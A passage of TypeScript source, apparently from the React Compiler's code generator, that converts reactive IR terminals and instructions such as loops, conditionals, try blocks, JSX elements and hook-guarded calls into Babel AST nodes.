t.memberExpression(t.identifier('Symbol'), t.identifier('for')),\n            [t.stringLiteral(EARLY_RETURN_SENTINEL)],\n          ),\n        ),\n        t.blockStatement([t.returnStatement(t.identifier(name))]),\n      ),\n    );\n  }\n}\n\nfunction codegenTerminal(\n  cx: Context,\n  terminal: ReactiveTerminal,\n): t.Statement | null {\n  switch (terminal.kind) {\n    case 'break': {\n      if (terminal.targetKind === 'implicit') {\n        return null;\n      }\n      return createBreakStatement(\n        terminal.loc,\n        terminal.targetKind === 'labeled'\n          ? t.identifier(codegenLabel(terminal.target))\n          : null,\n      );\n    }\n    case 'continue': {\n      if (terminal.targetKind === 'implicit') {\n        return null;\n      }\n      return createContinueStatement(\n        terminal.loc,\n        terminal.targetKind === 'labeled'\n          ? t.identifier(codegenLabel(terminal.target))\n          : null,\n      );\n    }\n    case 'for': {\n      return createForStatement(\n        terminal.loc,\n        codegenForInit(cx, terminal.init),\n        codegenInstructionValueToExpression(cx, terminal.test),\n        terminal.update !== null\n          ? codegenInstructionValueToExpression(cx, terminal.update)\n          : null,\n        codegenBlock(cx, terminal.loop),\n      );\n    }\n    case 'for-in': {\n      CompilerError.invariant(terminal.init.kind === 'SequenceExpression', {\n        reason: `Expected a sequence expression init for for..in`,\n        description: `Got \\`${terminal.init.kind}\\` expression instead`,\n        loc: terminal.init.loc,\n      });\n      if (terminal.init.instructions.length !== 2) {\n        cx.recordError(\n          new CompilerErrorDetail({\n            reason: 'Support non-trivial for..in inits',\n            category: ErrorCategory.Todo,\n            loc: terminal.init.loc,\n            suggestions: null,\n          }),\n        );\n        return t.emptyStatement();\n      }\n      const iterableCollection = terminal.init.instructions[0];\n      const iterableItem = terminal.init.instructions[1];\n      let lval: t.LVal;\n      switch (iterableItem.value.kind) {\n        case 'StoreLocal': {\n          lval = codegenLValue(cx, iterableItem.value.lvalue.place);\n          break;\n        }\n        case 'Destructure': {\n          lval = codegenLValue(cx, iterableItem.value.lvalue.pattern);\n          break;\n        }\n        case 'StoreContext': {\n          cx.recordError(\n            new CompilerErrorDetail({\n              reason: 'Support non-trivial for..in inits',\n              category: ErrorCategory.Todo,\n              loc: terminal.init.loc,\n              suggestions: null,\n            }),\n          );\n          return t.emptyStatement();\n        }\n        default:\n          CompilerError.invariant(false, {\n            reason: `Expected a StoreLocal or Destructure to be assigned to the collection`,\n            description: `Found ${iterableItem.value.kind}`,\n            loc: iterableItem.value.loc,\n          });\n      }\n      let varDeclKind: 'const' | 'let';\n      switch (iterableItem.value.lvalue.kind) {\n        case InstructionKind.Const:\n          varDeclKind = 'const' as const;\n          break;\n        case InstructionKind.Let:\n          varDeclKind = 'let' as const;\n          break;\n        case InstructionKind.Reassign:\n          CompilerError.invariant(false, {\n            reason:\n              'Destructure should never be Reassign as it would be an Object/ArrayPattern',\n            loc: iterableItem.loc,\n          });\n        case InstructionKind.Catch:\n        case InstructionKind.HoistedConst:\n        case InstructionKind.HoistedLet:\n        case InstructionKind.HoistedFunction:\n        case InstructionKind.Function:\n          CompilerError.invariant(false, {\n            reason: `Unexpected ${iterableItem.value.lvalue.kind} variable in for..in collection`,\n            loc: iterableItem.loc,\n          });\n        default:\n          assertExhaustive(\n            iterableItem.value.lvalue.kind,\n            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`,\n          );\n      }\n      return createForInStatement(\n        terminal.loc,\n        /*\n         * Special handling here since we only want the VariableDeclarators without any inits\n         * This needs to be updated when we handle non-trivial ForOf inits\n         */\n        createVariableDeclaration(iterableItem.value.loc, varDeclKind, [\n          t.variableDeclarator(lval, null),\n        ]),\n        codegenInstructionValueToExpression(cx, iterableCollection.value),\n        codegenBlock(cx, terminal.loop),\n      );\n    }\n    case 'for-of': {\n      CompilerError.invariant(\n        terminal.init.kind === 'SequenceExpression' &&\n          terminal.init.instructions.length === 1 &&\n          terminal.init.instructions[0].value.kind === 'GetIterator',\n        {\n          reason: `Expected a single-expression sequence expression init for for..of`,\n          description: `Got \\`${terminal.init.kind}\\` expression instead`,\n          loc: terminal.init.loc,\n        },\n      );\n      const iterableCollection = terminal.init.instructions[0].value;\n\n      CompilerError.invariant(terminal.test.kind === 'SequenceExpression', {\n        reason: `Expected a sequence expression test for for..of`,\n        description: `Got \\`${terminal.init.kind}\\` expression instead`,\n        loc: terminal.test.loc,\n      });\n      if (terminal.test.instructions.length !== 2) {\n        cx.recordError(\n          new CompilerErrorDetail({\n            reason: 'Support non-trivial for..of inits',\n            category: ErrorCategory.Todo,\n            loc: terminal.init.loc,\n            suggestions: null,\n          }),\n        );\n        return t.emptyStatement();\n      }\n      const iterableItem = terminal.test.instructions[1];\n      let lval: t.LVal;\n      switch (iterableItem.value.kind) {\n        case 'StoreLocal': {\n          lval = codegenLValue(cx, iterableItem.value.lvalue.place);\n          break;\n        }\n        case 'Destructure': {\n          lval = codegenLValue(cx, iterableItem.value.lvalue.pattern);\n          break;\n        }\n        case 'StoreContext': {\n          cx.recordError(\n            new CompilerErrorDetail({\n              reason: 'Support non-trivial for..of inits',\n              category: ErrorCategory.Todo,\n              loc: terminal.init.loc,\n              suggestions: null,\n            }),\n          );\n          return t.emptyStatement();\n        }\n        default:\n          CompilerError.invariant(false, {\n            reason: `Expected a StoreLocal or Destructure to be assigned to the collection`,\n            description: `Found ${iterableItem.value.kind}`,\n            loc: iterableItem.value.loc,\n          });\n      }\n      let varDeclKind: 'const' | 'let';\n      switch (iterableItem.value.lvalue.kind) {\n        case InstructionKind.Const:\n          varDeclKind = 'const' as const;\n          break;\n        case InstructionKind.Let:\n          varDeclKind = 'let' as const;\n          break;\n        case InstructionKind.Reassign:\n        case InstructionKind.Catch:\n        case InstructionKind.HoistedConst:\n        case InstructionKind.HoistedLet:\n        case InstructionKind.HoistedFunction:\n        case InstructionKind.Function:\n          CompilerError.invariant(false, {\n            reason: `Unexpected ${iterableItem.value.lvalue.kind} variable in for..of collection`,\n            loc: iterableItem.loc,\n          });\n        default:\n          assertExhaustive(\n            iterableItem.value.lvalue.kind,\n            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`,\n          );\n      }\n      return createForOfStatement(\n        terminal.loc,\n        /*\n         * Special handling here since we only want the VariableDeclarators without any inits\n         * This needs to be updated when we handle non-trivial ForOf inits\n         */\n        createVariableDeclaration(iterableItem.value.loc, varDeclKind, [\n          t.variableDeclarator(lval, null),\n        ]),\n        codegenInstructionValueToExpression(cx, iterableCollection),\n        codegenBlock(cx, terminal.loop),\n      );\n    }\n    case 'if': {\n      const test = codegenPlaceToExpression(cx, terminal.test);\n      const consequent = codegenBlock(cx, terminal.consequent);\n      let alternate: t.Statement | null = null;\n      if (terminal.alternate !== null) {\n        const block = codegenBlock(cx, terminal.alternate);\n        if (block.body.length !== 0) {\n          alternate = block;\n        }\n      }\n      return createIfStatement(terminal.loc, test, consequent, alternate);\n    }\n    case 'return': {\n      const value = codegenPlaceToExpression(cx, terminal.value);\n      if (value.type === 'Identifier' && value.name === 'undefined') {\n        // Use implicit undefined\n        return createReturnStatement(terminal.loc);\n      }\n      return createReturnStatement(terminal.loc, value);\n    }\n    case 'switch': {\n      return createSwitchStatement(\n        terminal.loc,\n        codegenPlaceToExpression(cx, terminal.test),\n        terminal.cases.map(case_ => {\n          const test =\n            case_.test !== null\n              ? codegenPlaceToExpression(cx, case_.test)\n              : null;\n          const block = codegenBlock(cx, case_.block!);\n          return t.switchCase(test, block.body.length === 0 ? [] : [block]);\n        }),\n      );\n    }\n    case 'throw': {\n      return createThrowStatement(\n        terminal.loc,\n        codegenPlaceToExpression(cx, terminal.value),\n      );\n    }\n    case 'do-while': {\n      const test = codegenInstructionValueToExpression(cx, terminal.test);\n      return createDoWhileStatement(\n        terminal.loc,\n        test,\n        codegenBlock(cx, terminal.loop),\n      );\n    }\n    case 'while': {\n      const test = codegenInstructionValueToExpression(cx, terminal.test);\n      return createWhileStatement(\n        terminal.loc,\n        test,\n        codegenBlock(cx, terminal.loop),\n      );\n    }\n    case 'label': {\n      return codegenBlock(cx, terminal.block);\n    }\n    case 'try': {\n      let catchParam = null;\n      if (terminal.handlerBinding !== null) {\n        catchParam = convertIdentifier(terminal.handlerBinding.identifier);\n        cx.temp.set(terminal.handlerBinding.identifier.declarationId, null);\n      }\n      return createTryStatement(\n        terminal.loc,\n        codegenBlock(cx, terminal.block),\n        t.catchClause(catchParam, codegenBlock(cx, terminal.handler)),\n      );\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n      );\n    }\n  }\n}\n\nfunction codegenInstructionNullable(\n  cx: Context,\n  instr: ReactiveInstruction,\n): t.Statement | null {\n  if (\n    instr.value.kind === 'StoreLocal' ||\n    instr.value.kind === 'StoreContext' ||\n    instr.value.kind === 'Destructure' ||\n    instr.value.kind === 'DeclareLocal' ||\n    instr.value.kind === 'DeclareContext'\n  ) {\n    let kind: InstructionKind = instr.value.lvalue.kind;\n    let lvalue: Place | Pattern;\n    let value: t.Expression | null;\n    if (instr.value.kind === 'StoreLocal') {\n      kind = cx.hasDeclared(instr.value.lvalue.place.identifier)\n        ? InstructionKind.Reassign\n        : kind;\n      lvalue = instr.value.lvalue.place;\n      value = codegenPlaceToExpression(cx, instr.value.value);\n    } else if (instr.value.kind === 'StoreContext') {\n      lvalue = instr.value.lvalue.place;\n      value = codegenPlaceToExpression(cx, instr.value.value);\n    } else if (\n      instr.value.kind === 'DeclareLocal' ||\n      instr.value.kind === 'DeclareContext'\n    ) {\n      if (cx.hasDeclared(instr.value.lvalue.place.identifier)) {\n        return null;\n      }\n      kind = instr.value.lvalue.kind;\n      lvalue = instr.value.lvalue.place;\n      value = null;\n    } else {\n      lvalue = instr.value.lvalue.pattern;\n      for (const place of eachPatternOperand(lvalue)) {\n        if (\n          kind !== InstructionKind.Reassign &&\n          place.identifier.name === null\n        ) {\n          cx.temp.set(place.identifier.declarationId, null);\n        }\n      }\n      value = codegenPlaceToExpression(cx, instr.value.value);\n    }\n    switch (kind) {\n      case InstructionKind.Const: {\n        CompilerError.invariant(instr.lvalue === null, {\n          reason: `Const declaration cannot be referenced as an expression`,\n          message: `this is ${kind}`,\n          loc: instr.value.loc,\n        });\n        return createVariableDeclaration(instr.loc, 'const', [\n          createVariableDeclarator(codegenLValue(cx, lvalue), value),\n        ]);\n      }\n      case InstructionKind.Function: {\n        CompilerError.invariant(instr.lvalue === null, {\n          reason: `Function declaration cannot be referenced as an expression`,\n          loc: instr.value.loc,\n        });\n        const genLvalue = codegenLValue(cx, lvalue);\n        CompilerError.invariant(genLvalue.type === 'Identifier', {\n          reason: 'Expected an identifier as a function declaration lvalue',\n          loc: instr.value.loc,\n        });\n        CompilerError.invariant(value?.type === 'FunctionExpression', {\n          reason: 'Expected a function as a function declaration value',\n          description: `Got ${value == null ? String(value) : value.type} at ${printInstruction(instr)}`,\n          loc: instr.value.loc,\n        });\n        return createFunctionDeclaration(\n          instr.loc,\n          genLvalue,\n          value.params,\n          value.body,\n          value.generator,\n          value.async,\n        );\n      }\n      case InstructionKind.Let: {\n        CompilerError.invariant(instr.lvalue === null, {\n          reason: `Const declaration cannot be referenced as an expression`,\n          message: `this is ${kind}`,\n          loc: instr.value.loc,\n        });\n        return createVariableDeclaration(instr.loc, 'let', [\n          createVariableDeclarator(codegenLValue(cx, lvalue), value),\n        ]);\n      }\n      case InstructionKind.Reassign: {\n        CompilerError.invariant(value !== null, {\n          reason: 'Expected a value for reassignment',\n          loc: instr.value.loc,\n        });\n        const expr = t.assignmentExpression(\n          '=',\n          codegenLValue(cx, lvalue),\n          value,\n        );\n        if (instr.lvalue !== null) {\n          if (instr.value.kind !== 'StoreContext') {\n            cx.temp.set(instr.lvalue.identifier.declarationId, expr);\n            return null;\n          } else {\n            // Handle chained reassignments for context variables\n            const statement = codegenInstruction(cx, instr, expr);\n            if (statement.type === 'EmptyStatement') {\n              return null;\n            }\n            return statement;\n          }\n        } else {\n          return createExpressionStatement(instr.loc, expr);\n        }\n      }\n      case InstructionKind.Catch: {\n        return t.emptyStatement();\n      }\n      case InstructionKind.HoistedLet:\n      case InstructionKind.HoistedConst:\n      case InstructionKind.HoistedFunction: {\n        CompilerError.invariant(false, {\n          reason: `Expected ${kind} to have been pruned in PruneHoistedContexts`,\n          loc: instr.loc,\n        });\n      }\n      default: {\n        assertExhaustive(kind, `Unexpected instruction kind \\`${kind}\\``);\n      }\n    }\n  } else if (\n    instr.value.kind === 'StartMemoize' ||\n    instr.value.kind === 'FinishMemoize'\n  ) {\n    return null;\n  } else if (instr.value.kind === 'Debugger') {\n    return t.debuggerStatement();\n  } else if (instr.value.kind === 'ObjectMethod') {\n    CompilerError.invariant(instr.lvalue, {\n      reason: 'Expected object methods to have a temp lvalue',\n      loc: GeneratedSource,\n    });\n    cx.objectMethods.set(instr.lvalue.identifier.id, instr.value);\n    return null;\n  } else {\n    const value = codegenInstructionValue(cx, instr.value);\n    const statement = codegenInstruction(cx, instr, value);\n    if (statement.type === 'EmptyStatement') {\n      return null;\n    }\n    return statement;\n  }\n}\n\nfunction codegenForInit(\n  cx: Context,\n  init: ReactiveValue,\n): t.Expression | t.VariableDeclaration | null {\n  if (init.kind === 'SequenceExpression') {\n    const body = codegenBlock(\n      cx,\n      init.instructions.map(instruction => ({\n        kind: 'instruction',\n        instruction,\n      })),\n    ).body;\n    const declarators: Array<t.VariableDeclarator> = [];\n    let kind: 'let' | 'const' = 'const';\n    body.forEach(instr => {\n      let top: undefined | t.VariableDeclarator = undefined;\n      if (\n        instr.type === 'ExpressionStatement' &&\n        instr.expression.type === 'AssignmentExpression' &&\n        instr.expression.operator === '=' &&\n        instr.expression.left.type === 'Identifier' &&\n        (top = declarators.at(-1))?.id.type === 'Identifier' &&\n        top?.id.name === instr.expression.left.name &&\n        top?.init == null\n      ) {\n        top.init = instr.expression.right;\n      } else {\n        CompilerError.invariant(\n          instr.type === 'VariableDeclaration' &&\n            (instr.kind === 'let' || instr.kind === 'const'),\n          {\n            reason: 'Expected a variable declaration',\n            description: `Got ${instr.type}`,\n            loc: init.loc,\n          },\n        );\n        if (instr.kind === 'let') {\n          kind = 'let';\n        }\n        declarators.push(...instr.declarations);\n      }\n    });\n    CompilerError.invariant(declarators.length > 0, {\n      reason: 'Expected a variable declaration',\n      loc: init.loc,\n    });\n    return t.variableDeclaration(kind, declarators);\n  } else {\n    return codegenInstructionValueToExpression(cx, init);\n  }\n}\n\nfunction codegenDependency(\n  cx: Context,\n  dependency: ReactiveScopeDependency,\n): t.Expression {\n  let object: t.Expression = convertIdentifier(dependency.identifier);\n  if (dependency.path.length !== 0) {\n    const hasOptional = dependency.path.some(path => path.optional);\n    for (const path of dependency.path) {\n      const property =\n        typeof path.property === 'string'\n          ? t.identifier(path.property)\n          : t.numericLiteral(path.property);\n      const isComputed = typeof path.property !== 'string';\n      if (hasOptional) {\n        object = t.optionalMemberExpression(\n          object,\n          property,\n          isComputed,\n          path.optional,\n        );\n      } else {\n        object = t.memberExpression(object, property, isComputed);\n      }\n    }\n  }\n  return object;\n}\n\nfunction withLoc<T extends (...args: Array<any>) => t.Node>(\n  fn: T,\n): (\n  loc: SourceLocation | null | undefined,\n  ...args: Parameters<T>\n) => ReturnType<T> {\n  return (\n    loc: SourceLocation | null | undefined,\n    ...args: Parameters<T>\n  ): ReturnType<T> => {\n    const node = fn(...args);\n    if (loc != null && loc != GeneratedSource) {\n      node.loc = loc;\n    }\n    return node as ReturnType<T>;\n  };\n}\n\nconst createIdentifier = withLoc(t.identifier);\nconst createArrayPattern = withLoc(t.arrayPattern);\nconst createObjectPattern = withLoc(t.objectPattern);\nconst createBinaryExpression = withLoc(t.binaryExpression);\nconst createExpressionStatement = withLoc(t.expressionStatement);\nconst _createLabelledStatement = withLoc(t.labeledStatement);\nconst createVariableDeclaration = withLoc(t.variableDeclaration);\nconst createFunctionDeclaration = withLoc(t.functionDeclaration);\nconst createWhileStatement = withLoc(t.whileStatement);\nconst createDoWhileStatement = withLoc(t.doWhileStatement);\nconst createSwitchStatement = withLoc(t.switchStatement);\nconst createIfStatement = withLoc(t.ifStatement);\nconst createForStatement = withLoc(t.forStatement);\nconst createForOfStatement = withLoc(t.forOfStatement);\nconst createForInStatement = withLoc(t.forInStatement);\nconst createTaggedTemplateExpression = withLoc(t.taggedTemplateExpression);\nconst createLogicalExpression = withLoc(t.logicalExpression);\nconst createSequenceExpression = withLoc(t.sequenceExpression);\nconst createConditionalExpression = withLoc(t.conditionalExpression);\nconst createTemplateLiteral = withLoc(t.templateLiteral);\nconst createJsxNamespacedName = withLoc(t.jsxNamespacedName);\nconst createJsxElement = withLoc(t.jsxElement);\nconst createJsxAttribute = withLoc(t.jsxAttribute);\nconst createJsxIdentifier = withLoc(t.jsxIdentifier);\nconst createJsxExpressionContainer = withLoc(t.jsxExpressionContainer);\nconst createJsxText = withLoc(t.jsxText);\nconst createJsxClosingElement = withLoc(t.jsxClosingElement);\nconst createJsxOpeningElement = withLoc(t.jsxOpeningElement);\nconst createStringLiteral = withLoc(t.stringLiteral);\nconst createThrowStatement = withLoc(t.throwStatement);\nconst createTryStatement = withLoc(t.tryStatement);\nconst createBreakStatement = withLoc(t.breakStatement);\nconst createContinueStatement = withLoc(t.continueStatement);\nconst createReturnStatement = withLoc(t.returnStatement);\n\nfunction createVariableDeclarator(\n  id: t.LVal,\n  init?: t.Expression | null,\n): t.VariableDeclarator {\n  const node = t.variableDeclarator(id, init);\n\n  /*\n   * The variable declarator location is not preserved in HIR, however, we can use the\n   * start location of the id and the end location of the init to recreate the\n   * exact original variable declarator location.\n   *\n   * Or if init is null, we likely have a declaration without an initializer, so we can use the id.loc.end as the end location.\n   */\n  if (id.loc && (init === null || init?.loc)) {\n    node.loc = {\n      start: id.loc.start,\n      end: init?.loc?.end ?? id.loc.end,\n      filename: id.loc.filename,\n      identifierName: undefined,\n    };\n  }\n\n  return node;\n}\n\nfunction createHookGuard(\n  guard: ExternalFunction,\n  context: ProgramContext,\n  stmts: Array<t.Statement>,\n  before: GuardKind,\n  after: GuardKind,\n): t.TryStatement {\n  const guardFnName = context.addImportSpecifier(guard).name;\n  function createHookGuardImpl(kind: number): t.ExpressionStatement {\n    return t.expressionStatement(\n      t.callExpression(t.identifier(guardFnName), [t.numericLiteral(kind)]),\n    );\n  }\n\n  return t.tryStatement(\n    t.blockStatement([createHookGuardImpl(before), ...stmts]),\n    null,\n    t.blockStatement([createHookGuardImpl(after)]),\n  );\n}\n\n/**\n * Create a call expression.\n * If enableEmitHookGuards is set and the callExpression is a hook call,\n * the following transform will be made.\n * ```js\n * // source\n * useHook(arg1, arg2)\n *\n * // codegen\n * (() => {\n *   try {\n *     $dispatcherGuard(PUSH_EXPECT_HOOK);\n *     return useHook(arg1, arg2);\n *   } finally {\n *     $dispatcherGuard(POP_EXPECT_HOOK);\n *   }\n * })()\n * ```\n */\nfunction createCallExpression(\n  env: Environment,\n  callee: t.Expression,\n  args: Array<t.Expression | t.SpreadElement>,\n  loc: SourceLocation | null,\n  isHook: boolean,\n): t.CallExpression {\n  const callExpr = t.callExpression(callee, args);\n  if (loc != null && loc != GeneratedSource) {\n    callExpr.loc = loc;\n  }\n\n  const hookGuard = env.config.enableEmitHookGuards;\n  if (hookGuard != null && isHook && env.outputMode === 'client') {\n    const iife = t.functionExpression(\n      null,\n      [],\n      t.blockStatement([\n        createHookGuard(\n          hookGuard,\n          env.programContext,\n          [t.returnStatement(callExpr)],\n          GuardKind.AllowHook,\n          GuardKind.DisallowHook,\n        ),\n      ]),\n    );\n    return t.callExpression(iife, []);\n  } else {\n    return callExpr;\n  }\n}\n\ntype Temporaries = Map<DeclarationId, t.Expression | t.JSXText | null>;\n\nfunction codegenLabel(id: BlockId): string {\n  return `bb${id}`;\n}\n\nfunction codegenInstruction(\n  cx: Context,\n  instr: ReactiveInstruction,\n  value: t.Expression | t.JSXText,\n): t.Statement {\n  if (t.isStatement(value)) {\n    return value;\n  }\n  if (instr.lvalue === null) {\n    return t.expressionStatement(convertValueToExpression(value));\n  }\n  if (instr.lvalue.identifier.name === null) {\n    // temporary\n    cx.temp.set(instr.lvalue.identifier.declarationId, value);\n    return t.emptyStatement();\n  } else {\n    const expressionValue = convertValueToExpression(value);\n    if (cx.hasDeclared(instr.lvalue.identifier)) {\n      return createExpressionStatement(\n        instr.loc,\n        t.assignmentExpression(\n          '=',\n          convertIdentifier(instr.lvalue.identifier),\n          expressionValue,\n        ),\n      );\n    } else {\n      return createVariableDeclaration(instr.loc, 'const', [\n        createVariableDeclarator(\n          convertIdentifier(instr.lvalue.identifier),\n          expressionValue,\n        ),\n      ]);\n    }\n  }\n}\n\nfunction convertValueToExpression(\n  value: t.JSXText | t.Expression,\n): t.Expression {\n  if (value.type === 'JSXText') {\n    return createStringLiteral(value.loc, value.value);\n  }\n  return value;\n}\n\nfunction codegenInstructionValueToExpression(\n  cx: Context,\n  instrValue: ReactiveValue,\n): t.Expression {\n  const value = codegenInstructionValue(cx, instrValue);\n  return convertValueToExpression(value);\n}\n\nfunction codegenInstructionValue(\n  cx: Context,\n  instrValue: ReactiveValue,\n): t.Expression | t.JSXText {\n  let value: t.Expression | t.JSXText;\n  switch (instrValue.kind) {\n    case 'ArrayExpression': {\n      const elements = instrValue.elements.map(element => {\n        if (element.kind === 'Identifier') {\n          return codegenPlaceToExpression(cx, element);\n        } else if (element.kind === 'Spread') {\n          return t.spreadElement(codegenPlaceToExpression(cx, element.place));\n        } else {\n          return null;\n        }\n      });\n      value = t.arrayExpression(elements);\n      break;\n    }\n    case 'BinaryExpression': {\n      const left = codegenPlaceToExpression(cx, instrValue.left);\n      const right = codegenPlaceToExpression(cx, instrValue.right);\n      value = createBinaryExpression(\n        instrValue.loc,\n        instrValue.operator,\n        left,\n        right,\n      );\n      break;\n    }\n    case 'UnaryExpression': {\n      value = t.unaryExpression(\n        instrValue.operator,\n        codegenPlaceToExpression(cx, instrValue.value),\n      );\n      break;\n    }\n    case 'Primitive': {\n      value = codegenValue(cx, instrValue.loc, instrValue.value);\n      break;\n    }\n    case 'CallExpression': {\n      if (cx.env.config.enableForest) {\n        const callee = codegenPlaceToExpression(cx, instrValue.callee);\n        const args = instrValue.args.map(arg => codegenArgument(cx, arg));\n        value = t.callExpression(callee, args);\n        if (instrValue.typeArguments != null) {\n          value.typeArguments = t.typeParameterInstantiation(\n            instrValue.typeArguments,\n          );\n        }\n        break;\n      }\n      const isHook = getHookKind(cx.env, instrValue.callee.identifier) != null;\n      const callee = codegenPlaceToExpression(cx, instrValue.callee);\n      const args = instrValue.args.map(arg => codegenArgument(cx, arg));\n      value = createCallExpression(\n        cx.env,\n        callee,\n        args,\n        instrValue.loc,\n        isHook,\n      );\n      break;\n    }\n    case 'OptionalExpression': {\n      const optionalValue = codegenInstructionValueToExpression(\n        cx,\n        instrValue.value,\n      );\n      switch (optionalValue.type) {\n        case 'OptionalCallExpression':\n        case 'CallExpression': {\n          CompilerError.invariant(t.isExpression(optionalValue.callee), {\n            reason: 'v8 intrinsics are validated during lowering',\n            loc: optionalValue.callee.loc ?? GeneratedSource,\n          });\n          value = t.optionalCallExpression(\n            optionalValue.callee,\n            optionalValue.arguments,\n            instrValue.optional,\n          );\n          break;\n        }\n        case 'OptionalMemberExpression':\n        case 'MemberExpression': {\n          const property = optionalValue.property;\n          CompilerError.invariant(t.isExpression(property), {\n            reason: 'Private names are validated during lowering',\n            loc: property.loc ?? GeneratedSource,\n          });\n          value = t.optionalMemberExpression(\n            optionalValue.object,\n            property,\n            optionalValue.computed,\n            instrValue.optional,\n          );\n          break;\n        }\n        default: {\n          CompilerError.invariant(false, {\n            reason:\n              'Expected an optional value to resolve to a call expression or member expression',\n            description: `Got a \\`${optionalValue.type}\\``,\n            loc: instrValue.loc,\n          });\n        }\n      }\n      break;\n    }\n    case 'MethodCall': {\n      const isHook =\n        getHookKind(cx.env, instrValue.property.identifier) != null;\n      const memberExpr = codegenPlaceToExpression(cx, instrValue.property);\n      CompilerError.invariant(\n        t.isMemberExpression(memberExpr) ||\n          t.isOptionalMemberExpression(memberExpr),\n        {\n          reason:\n            '[Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression',\n          message: `Got: '${memberExpr.type}'`,\n          loc: memberExpr.loc ?? GeneratedSource,\n        },\n      );\n      CompilerError.invariant(\n        t.isNodesEquivalent(\n          memberExpr.object,\n          codegenPlaceToExpression(cx, instrValue.receiver),\n        ),\n        {\n          reason:\n            '[Codegen] Internal error: Forget should always generate MethodCall::property ' +\n            'as a MemberExpression of MethodCall::receiver',\n          loc: memberExpr.loc ?? GeneratedSource,\n        },\n      );\n      const args = instrValue.args.map(arg => codegenArgument(cx, arg));\n      value = createCallExpression(\n        cx.env,\n        memberExpr,\n        args,\n        instrValue.loc,\n        isHook,\n      );\n      break;\n    }\n    case 'NewExpression': {\n      const callee = codegenPlaceToExpression(cx, instrValue.callee);\n      const args = instrValue.args.map(arg => codegenArgument(cx, arg));\n      value = t.newExpression(callee, args);\n      break;\n    }\n    case 'ObjectExpression': {\n      const properties = [];\n      for (const property of instrValue.properties) {\n        if (property.kind === 'ObjectProperty') {\n          const key = codegenObjectPropertyKey(cx, property.key);\n\n          switch (property.type) {\n            case 'property': {\n              const value = codegenPlaceToExpression(cx, property.place);\n              properties.push(\n                t.objectProperty(\n                  key,\n                  value,\n                  property.key.kind === 'computed',\n                  key.type === 'Identifier' &&\n                    value.type === 'Identifier' &&\n                    value.name === key.name,\n                ),\n              );\n              break;\n            }\n            case 'method': {\n              const method = cx.objectMethods.get(property.place.identifier.id);\n              CompilerError.invariant(method, {\n                reason: 'Expected ObjectMethod instruction',\n                loc: GeneratedSource,\n              });\n              const loweredFunc = method.loweredFunc;\n              const reactiveFunction = buildReactiveFunction(loweredFunc.func);\n              pruneUnusedLabels(reactiveFunction);\n              pruneUnusedLValues(reactiveFunction);\n              const fn = codegenReactiveFunction(\n                new Context(\n                  cx.env,\n                  reactiveFunction.id ?? '[[ anonymous ]]',\n                  cx.uniqueIdentifiers,\n                  cx.fbtOperands,\n                  cx.temp,\n                ),\n                reactiveFunction,\n              );\n\n              /*\n               * ObjectMethod builder must be backwards compatible with older versions of babel.\n               * https://github.com/babel/babel/blob/v7.7.4/packages/babel-types/src/definitions/core.js#L599-L603\n               */\n              const babelNode = t.objectMethod(\n                'method',\n                key,\n                fn.params,\n                fn.body,\n                false,\n              );\n              babelNode.async = fn.async;\n              babelNode.generator = fn.generator;\n              properties.push(babelNode);\n              break;\n            }\n            default:\n              assertExhaustive(\n                property.type,\n                `Unexpected property type: ${property.type}`,\n              );\n          }\n        } else {\n          properties.push(\n            t.spreadElement(codegenPlaceToExpression(cx, property.place)),\n          );\n        }\n      }\n      value = t.objectExpression(properties);\n      break;\n    }\n    case 'JSXText': {\n      value = createJsxText(instrValue.loc, instrValue.value);\n      break;\n    }\n    case 'JsxExpression': {\n      const attributes: Array<t.JSXAttribute | t.JSXSpreadAttribute> = [];\n      for (const attribute of instrValue.props) {\n        attributes.push(codegenJsxAttribute(cx, attribute));\n      }\n      let tagValue =\n        instrValue.tag.kind === 'Identifier'\n          ? codegenPlaceToExpression(cx, instrValue.tag)\n          : t.stringLiteral(instrValue.tag.name);\n      let tag: t.JSXIdentifier | t.JSXNamespacedName | t.JSXMemberExpression;\n      if (tagValue.type === 'Identifier') {\n        tag = createJsxIdentifier(instrValue.tag.loc, tagValue.name);\n      } else if (tagValue.type === 'MemberExpression') {\n        tag = convertMemberExpressionToJsx(tagValue);\n      } else {\n        CompilerError.invariant(tagValue.type === 'StringLiteral', {\n          reason: `Expected JSX tag to be an identifier or string, got \\`${tagValue.type}\\``,\n          loc: tagValue.loc ?? GeneratedSource,\n        });\n        if (tagValue.value.indexOf(':') >= 0) {\n          const [namespace, name] = tagValue.value.split(':', 2);\n          tag = createJsxNamespacedName(\n            instrValue.tag.loc,\n            createJsxIdentifier(instrValue.tag.loc, namespace),\n            createJsxIdentifier(instrValue.tag.loc, name),\n          );\n        } else {\n          tag = createJsxIdentifier(instrValue.loc, tagValue.value);\n        }\n      }\n      let children;\n      if (\n        tagValue.type === 'StringLiteral' &&\n        SINGLE_CHILD_FBT_TAGS.has(tagValue.value)\n      ) {\n        CompilerError.invariant(instrValue.children != null, {\n          reason: 'Expected fbt element to have children',\n          loc: instrValue.loc,\n        });\n        children = instrValue.children.map(child =>\n          codegenJsxFbtChildElement(cx, child),\n        );\n      } else {\n        children =\n          instrValue.children !== null\n            ? instrValue.children.map(child => codegenJsxElement(cx, child))\n            : [];\n      }\n      value = createJsxElement(\n        instrValue.loc,\n        createJsxOpeningElement(\n          instrValue.openingLoc,\n          tag,\n          attributes,\n          instrValue.children === null,\n        ),\n        instrValue.children !== null\n          ? createJsxClosingElement(instrValue.closingLoc, tag)\n          : null,\n        children,\n        instrValue.children === null,\n      );\n      break;\n    }\n    case 'JsxFragment': {\n      value = t.jsxFragment(\n        t.jsxOpeningFragment(),\n        t.jsxClosingFragment(),\n        instrValue.children.map(child => codegenJsxElement(cx, child)),\n      );\n      break;\n    }\n    case 'UnsupportedNode': {\n      const node = instrValue.node;\n      if (!t.isExpression(node)) {\n        return node as any; // TODO handle statements, jsx fragments\n      }\n      value = node;\n      break;\n    }\n    case 'PropertyStore':\n    case 'PropertyLoad':\n    case 'PropertyDelete': {\n      let memberExpr;\n      /*\n       * We currently only lower single chains of optional memberexpr.\n       * (See BuildHIR.ts for more detail.)\n       */\n      if (typeof instrValue.property === 'string') {\n        memberExpr = t.memberExpression(\n          codegenPlaceToExpression(cx, instrValue.object),\n          t.identifier(instrValue.property),\n        );\n      } else {\n        memberExpr = t.memberExpression(\n          